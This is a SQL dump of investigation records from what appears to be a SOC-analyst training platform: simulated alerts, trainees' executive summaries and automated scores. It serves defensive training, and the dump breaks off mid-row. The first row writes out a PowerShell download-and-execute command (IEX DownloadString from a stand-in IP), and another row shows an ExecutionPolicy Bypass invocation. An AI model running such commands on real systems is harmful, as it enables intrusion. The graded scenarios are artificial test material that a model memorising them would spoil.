(273, 126, 637, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.77\",\"hash-d41d8cd9\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 19-2-2026, 21:43:04\\nALERT: Suspicious Process Execution Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.77\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [COMMAND] powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-19T20:43:17.501Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\') (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-19 20:39:44', '2026-02-28 21:00:00', 0, NULL),
(274, 181, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 03:05:11', '2026-02-20 03:05:11', 0, NULL),
(275, 183, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 03:55:15', '2026-02-20 03:55:15', 0, NULL),
(276, 183, 767, 'investigating', NULL, NULL, NULL, NULL, '2026-02-20 07:46:11', '2026-02-20 04:38:11', '2026-02-20 04:38:11', 0, NULL),
(277, 184, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 3:13:01 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T08:13:36.075Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 08:05:25', '2026-02-28 21:00:00', 0, NULL),
(278, 184, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 3:16:22 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T08:16:25.168Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 08:13:36', '2026-02-28 21:00:00', 0, NULL),
(279, 184, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 08:16:25', '2026-02-20 08:16:25', 0, NULL),
(280, 185, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 08:58:30', '2026-02-20 08:58:30', 0, NULL),
(281, 185, 734, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-10.0.0.15\",\"domain-http://newve\",\"domain-newvendor.co\",\"artifact_1\"],\"selectedActions\":[],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:02:21 PM\\nALERT: False Positive Alert: Legitimate Email Flagged as Phishing\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 10.0.0.15\\n- [DOMAIN] http://newvendor.com/welcome\\n- [DOMAIN] newvendor.com\\n- [EMAIL] info@newvendor.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:02:28.957Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-20 08:59:08', '2026-02-28 21:00:00', 0, NULL),
(282, 185, 750, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.20\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:05:21 PM\\nALERT: Suspicious Email Detected - Potential False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.20\\n- [URL] https://example-trusted-site.com/document\\n- [EMAIL] trusted.source@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:05:24.412Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 09:04:33', '2026-02-28 21:00:00', 0, NULL),
(283, 185, 282, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-192.168.1.50\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:07:37 PM\\nALERT: Malware Detected via Suspicious Process Execution\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 192.168.1.50\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] malicious.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:07:39.758Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 09:06:13', '2026-02-28 21:00:00', 0, NULL),
(284, 187, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-21 03:11:46', '2026-02-21 03:11:46', 0, NULL),
(285, 189, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/21/2026, 9:24:12 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-21T20:26:51.308Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_hash\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 19:38:33', '2026-02-28 21:00:00', 0, NULL),
(286, 189, 608, 'investigating', NULL, NULL, NULL, NULL, '2026-02-21 22:48:24', '2026-02-21 19:41:24', '2026-02-21 19:41:24', 0, NULL),
(287, 189, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 10:03:11 PM\\nALERT: BlackEnergy Malware Execution [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS\\n\\n    Internal IP: 192.168.1.45\\n    Malicious IP: 203.0.113.50\\n    File Hash: d41d8cd98f00b204e9800998ecf8427e\\n    Filename: invoice.doc\\n    Username: jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED\\n\\n    Isolated Host\\n    Blocked IP/Domain\\n    Blocked File Hash\\n    Collected Forensics\\n    Escalated to Tier 3\\n\\nANALYSIS\\nThe investigation was concluded based on verified telemetry and adherence to playbook protocols. All identified threats have been neutralized or escalated following standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T21:06:02.500Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 20:26:51', '2026-02-28 21:00:00', 0, NULL),
(288, 189, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"investigation executive summary:\\n\\nINVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 10:14:17 PM\\nALERT TITLE: Persistence Mechanism Established\\nOPERATION: Operation Iron Grid\\nVERDICT: True Positive\\n\\nKEY FINDINGS:\\n\\n    Malicious IP Address: 203.0.113.45\\n    Malware Hash: 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n    Internal IP Address: 10.0.1.15\\n    File Path: C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n    Compromised Username: compromised_user\\n\\nCONTAINMENT MEASURES IMPLEMENTED:\\n\\n    Host isolation\\n    IP/Domain blocking\\n    File hash blocking\\n    Forensic data collection\\n    Escalation to Tier 3\\n\\nANALYSIS:\\nThe investigation has been concluded following thorough verification of telemetry data and adherence to established playbook protocols. All identified threats have been effectively neutralized or escalated for further action as per standard operating procedures.\\n\\nSIGNED:\\nAmadou Mane\\nSenior SOC Analyst\",\"submitted_at\":\"2026-02-21T21:16:13.301Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 21:06:02', '2026-02-28 21:00:00', 0, NULL),
(289, 189, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n================================\\nDATE: February 21, 2026, 11:15:46 PM\\nALERT: Lateral Movement to OT Network [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS\\n----------------\\n\\n    Source IP: 192.168.1.101\\n    Destination IP: 10.0.0.5\\n    Malicious Hash: 5f4dcc3b5aa765d61d8327deb882cf99\\n    Compromised Username: jdoe\\n    External IP: 203.0.113.55\\n\\nCONTAINMENT MEASURES IMPLEMENTED\\n---------------------------------\\n\\n    Host Isolation\\n    IP/Domain Blocking\\n    File Hash Blocking\\n    Forensic Data Collection\\n    Escalation to Tier 3\\n\\nANALYSIS\\n---------\\nThe investigation has been concluded based on corroborated telemetry and adherence to playbook protocols. All identified threats have been effectively neutralized or escalated following standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T22:19:53.145Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 21:16:13', '2026-02-28 21:00:00', 0, NULL),
(290, 189, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 11:27:53 PM\\nALERT: SCADA System Compromise [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS (6)\\n\\n    [IP] 192.168.1.105\\n    [IP] 10.0.0.20\\n    [HASH] 5d41402abc4b2a76b9719d911017c592\\n    [IP] 203.0.113.45\\n    [FILENAME] malicious_script.sh\\n    [USERNAME] unauthorized_user\\n\\nCONTAINMENT MEASURES IMPLEMENTED (6)\\n\\n    Isolate Host\\n    Block IP/Domain\\n    Block File Hash\\n    Reset Credentials\\n    Collect Forensics\\n    Escalate to Tier 3\\n\\nANALYSIS\\nThe investigation has concluded based on validated telemetry and adherence to playbook protocols. All identified threats have been either neutralized or escalated according to standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T22:29:17.197Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 22:19:55', '2026-02-28 21:00:00', 0, NULL),
(291, 189, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:31:44 AM\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\\nAnalyst\",\"submitted_at\":\"2026-02-22T00:32:12.388Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 22:30:34', '2026-02-28 21:00:00', 0, NULL),
(292, 189, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:34:17 AM\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:34:34.538Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:32:14', '2026-02-28 21:00:00', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(293, 189, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:36:27 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:36:41.956Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:34:34', '2026-02-28 21:00:00', 0, NULL),
(294, 189, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:38:25 AM\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:38:38.823Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:36:41', '2026-02-28 21:00:00', 0, NULL),
(295, 189, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 2:31:14 AM\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou Mane\",\"submitted_at\":\"2026-02-23T01:32:39.450Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:40:04', '2026-02-28 21:00:00', 0, NULL),
(296, 177, 934, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.89\",\"ip-192.168.10.10\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 2:28:46 PM\\nALERT: Brute Force Login Attempts Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.89\\n- [IP] 192.168.10.10\\n- [USERNAME] administrator\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T08:59:19.881Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 08:54:54', '2026-02-28 21:00:00', 0, NULL),
(297, 177, 717, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.20\",\"domain-http://malic\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"escalate\",\"collect_forensics\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 3:54:54 PM\\nALERT: Phishing Email with Malicious URL Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.20\\n- [DOMAIN] http://malicious-site.com/login\\n- [EMAIL] no-reply@trustedservice.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:25:32.586Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/2)\",\"missed_items\":[\"block_url\",\"reset_credentials\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-22 10:22:37', '2026-02-28 21:00:00', 0, NULL),
(298, 177, 364, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"escalate\",\"collect_forensics\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:02:48 PM\\nALERT: Suspicious Web Shell Detected on IIS Server [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [FILENAME] shell.aspx\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst 